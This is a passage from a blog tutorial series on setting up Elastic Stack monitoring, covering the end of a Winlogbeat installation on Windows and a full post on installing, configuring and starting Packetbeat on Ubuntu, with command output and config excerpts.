Now to test that everything else is good to go.

C:\winlogbeat-7.9.2>winlogbeat.exe test config
Config OKC:\winlogbeat-7.9.1>winlogbeat test output --e
2020-09-11T18:52:42.260-0700    INFO    instance/beat.go:640    Home path: [C:\winlogbeat-7.9.2] Config path: [C:\winlogbeat-7.9.1] Data path: [C:\winlogbeat-7.9.2\data] Logs path: [C:\winlogbeat-7.9.2\logs]
2020-09-11T18:52:42.267-0700    INFO    instance/beat.go:648    Beat ID: 6d3822d8-a900-4c46-b040-ae41659b2745
2020-09-11T18:52:42.284-0700    INFO    [index-management]      idxmgmt/std.go:184      Set output.elasticsearch.index to 'winlogbeat-7.9.2' as ILM is enabled.
2020-09-11T18:52:42.317-0700    INFO    eslegclient/connection.go:99    elasticsearch url: https://10.0.0.1:9200
elasticsearch: https://10.0.0.1:9200...
  parse url... OK
  connection...
    parse host... OK
    dns lookup... OK
    addresses: 192.12020-09-11T18:52:42.332-0700        INFO    [add_cloud_metadata]    add_cloud_metadata/add_cloud_metadata.go:89             add_cloud_metadata: hosting provider type not detected.
68.0.4
    dial up... OK
  TLS...
    security: server's certificate chain verification is enabled
    handshake... OK
    TLS version: TLSv1.3
    dial up... OK
2020-09-11T18:52:42.450-0700    INFO    [esclientleg]   eslegclient/connection.go:314   Attempting to connect to Elasticsearch version 7.9.0
2020-09-11T18:52:42.489-0700    INFO    [license]       licenser/es_callback.go:51      Elasticsearch license: Basic
  talk to server... OK
  version: 7.9.2

Next up, we install the Winlogbeat service.

PS C:\winlogbeat-7.9.2> .\install-service-winlogbeat.ps1

Status   Name               DisplayName
------   ----               -----------
Stopped  winlogbeat         winlogbeat

Above we see the service was installed but its status says "Stopped". Let's start that service and verify it is running.

PS C:\winlogbeat-7.9.2> Start-Service winlogbeat
PS C:\winlogbeat-7.9.2> Get-Service winlogbeat

Status   Name               DisplayName
------   ----               -----------
Running  winlogbeat         winlogbeat

Looks good. Let's now switch back to the Kibana UI and verify that data is coming in.


Nice, we have data coming in.

Looking at the Security app.



All looks good.

Well that's it for this series. As a recap. In this eight part series, we installed, configured and provided basic security to Elasticsearch, Kibana, Metricbeat, Auditbeat, Filebeat, Packetbeat and Winlogbeat.


Posts in this series:

Security On The Cheap - Beginning Elastic Stack - Installing Elastic 7.9 on Ubuntu 20.04
Security On The Cheap - Beginning Elastic Stack - Installing Kibana 7.9 on Ubuntu 20.04
Security On The Cheap - Beginning Elastic Stack - Providing Basic Security to Elastic and Kibana 7.9 communication on Ubuntu 20.04
Security On The Cheap - Beginning Elastic - Installing and Providing Basic Security to Metricbeat - Elastic Stack 7.9 on Ubuntu 20.04
Security On The Cheap - Beginning Elastic - Installing and Providing Basic Security to Auditbeat - Elastic Stack 7.9 on Ubuntu 20.04
Security On The Cheap - Beginning Elastic - Installing and Providing Basic Security to Filebeat - Elastic Stack 7.9 on Ubuntu 20.04
Beginning Elastic - Installing, Configuring and Providing Basic Security to Packetbeat
Security On The Cheap - Beginning Elastic - Installing and Providing Basic Security to Winlogbeat

References:

https://www.elastic.co/downloads/beats/winlogbeat
https://www.howtogeek.com/670314/how-to-zip-and-unzip-files-using-powershell/

Beginning Elastic - Installing, Configuring and Providing Basic Security to Packetbeat - Elastic Stack 7.9 on Ubuntu 20.04

We have made significant progress so far, let's continue to building on it.

The first post, we installed Elasticsearch. In the second post we installed Kibana. This was followed by the third post where we provided basic security to Elastic and Kibana. In the fourth post, we installed, configured and secured Metricbeat and the fifth post, we installed, configured and secured Auditbeat. The sixth post, we installed, configured and provided basic security to Filebeat. 

Once again, keeping things simple and using the package manager.

root@securitynik-monitoring:~#  apt-get install packetbeat
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  packetbeat
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 26.2 MB of archives.
After this operation, 90.9 MB of additional disk space will be used.
Get:1 https://artifacts.elastic.co/packages/7.x/apt stable/main amd64 packetbeat amd64 7.9.2 [26.2 MB]
Fetched 26.2 MB in 1s (22.1 MB/s)
Selecting previously unselected package packetbeat.
(Reading database ... 176062 files and directories currently installed.)
Preparing to unpack .../packetbeat_7.9.2_amd64.deb ...
Unpacking packetbeat (7.9.2) ...
Setting up packetbeat (7.9.2) ...
Processing triggers for systemd (245.4-4ubuntu3.2) ...

Next up, we configure "packetbeat.yml". 

root@securitynik-monitoring:~# cd /etc/packetbeat/
root@securitynik-monitoring:/etc/packetbeat# cp packetbeat.yml packetbeat.yml.ORIGINAL

Here are the changes I made to the "packetbeat.yml" file.

root@securitynik-monitoring:~# cat /etc/packetbeat/packetbeat.yml | grep --perl-regexp "ssh|\[22\]|^\s+host|^\s+protocol|^\s+username|^\s+password"
- type: ssh
  ports: [22]
        host: "https://10.0.0.1:5601"
  hosts: ["10.0.0.1:9200"]
  protocol: "https"
  username: "elastic"
  password: "WelcomeToSecurityNikElastic"

Like we did in the previous post, we take the last 8 lines from the "metricbeat.yml" and insert them into "packetbeat.yml"

root@securitynik-monitoring:~# tail --lines 8 /etc/metricbeat/metricbeat.yml >> /etc/packetbeat/packetbeat.yml
root@securitynik-monitoring:~# tail --lines 8 /etc/auditbeat/auditbeat.yml
# SSL Configuration enabled by Nik
ssl.enabled: true
output.elasticsearch.hosts: ["https://10.0.0.1:9200"]
output.elasticsearch.ssl.certificate_authorities: ["/etc/kibana/SecurityNik-CA.pem"]
setup.kibana.ssl.enabled: true
setup.kibana.ssl.certificate_authorities: ["/etc/kibana/SecurityNik-CA.pem"]

Testing the Packetbeat configuration.

root@securitynik-monitoring:~# packetbeat test config

Config OK

Looking at the interfaces which I can capture on.

root@securitynik-monitoring:~#  packetbeat devices
0: enp0s25 (No description available) (10.0.0.1 fe80::224:e8ff:fef0:f679)
1: any (Pseudo-device that captures on all interfaces) (Not assigned ip address)
2: lo (No description available) (127.0.0.1 ::1)
3: nflog (Linux netfilter log (NFLOG) interface) (Not assigned ip address)
4: nfqueue (Linux netfilter queue (NFQUEUE) interface) (Not assigned ip address)

I also changed the interface for which Filebeat was listening on to represent what we are doing in this series.This more relates to the previous post on Filebeat.

root@securitynik-monitoring:~# cat /etc/filebeat/modules.d/netflow.yml
# Module: netflow
# Docs: https://www.elastic.co/guide/en/beats/filebeat/7.8/filebeat-module-netflow.html

- module: netflow
  log:
    enabled: true
    var:
      netflow_host: 10.0.0.1
      netflow_port: 2055

Load the Packetbeat dashboards in Kibana and the appropriate indexes.

root@securitynik-monitoring:~#  packetbeat setup
Overwriting ILM policy is disabled. Set `setup.ilm.overwrite:true` for enabling.

Index setup finished.
Loading dashboards (Kibana must be running and reachable)
Loaded dashboards

Enabling and starting the Packetbeat service.

root@securitynik-monitoring:~# systemctl enable --now packetbeat.service
Synchronizing state of packetbeat.service with SysV service script with /lib/systemd/systemd-sysv-install.

Executing: /lib/systemd/systemd-sysv-install enable packetbeat
Created symlink /etc/systemd/system/multi-user.target.wants/packetbeat.service → /lib/systemd/system/packetbeat.service.

root@securitynik-monitoring:~# systemctl status packetbeat.service
● packetbeat.service - Packetbeat analyzes network traffic and sends the data to Elasticsearch.
     Loaded: loaded (/lib/systemd/system/packetbeat.service; enabled; vendor preset: enabled)
     Active: active (running) since Fri 2020-08-14 12:56:30 EDT; 9s ago
       Docs: https://www.elastic.co/products/beats/packetbeat
   Main PID: 34364 (packetbeat)
      Tasks: 10 (limit: 4563)
     Memory: 45.4M
     CGroup: /system.slice/packetbeat.service
             └─34364 /usr/share/packetbeat/bin/packetbeat -environment systemd -c /etc/packetbeat/packetbeat.yml -path.home /usr/share/packetbeat -path.config /etc/packet>

Looking at the Packetbeat  data.

Packetbeat
Looks like we have some data from Packetbeat. 


Well that is it for this post. See you in the next where we look at Winlogbeat, where we also wrap-up this series..

Posts in this series:

Security On The Cheap - Beginning Elastic Stack - Installing Elastic 7.9 on Ubuntu 20.04
Security On The Cheap - Beginning Elastic Stack - Installing Kibana 7.9 on Ubuntu 20.04
Security On The Cheap - Beginning Elastic Stack - Providing Basic Security to Elastic and Kibana 7.9 communication on Ubuntu 20.04
Security On The Cheap - Beginning Elastic - Installing and Providing Basic Security to Metricbeat - Elastic Stack 7.9 on Ubuntu 20.04
Security On The Cheap - Beginning Elastic - Installing and Providing Basic Security to Auditbeat - Elastic Stack 7.9 on Ubuntu 20.04
Security On The Cheap - Beginning Elastic - Installing and Providing Basic Security to Filebeat - Elastic Stack 7.9 on Ubuntu 20.04
Beginning Elastic - Installing, Configuring and Providing Basic Security to Packetbeat
Security On The Cheap - Beginning Elastic - Installing and Providing Basic Security to Winlogbeat

References:
https://www.elastic.co/beats/
https://www.elastic.co/downloads/beats/packetbeat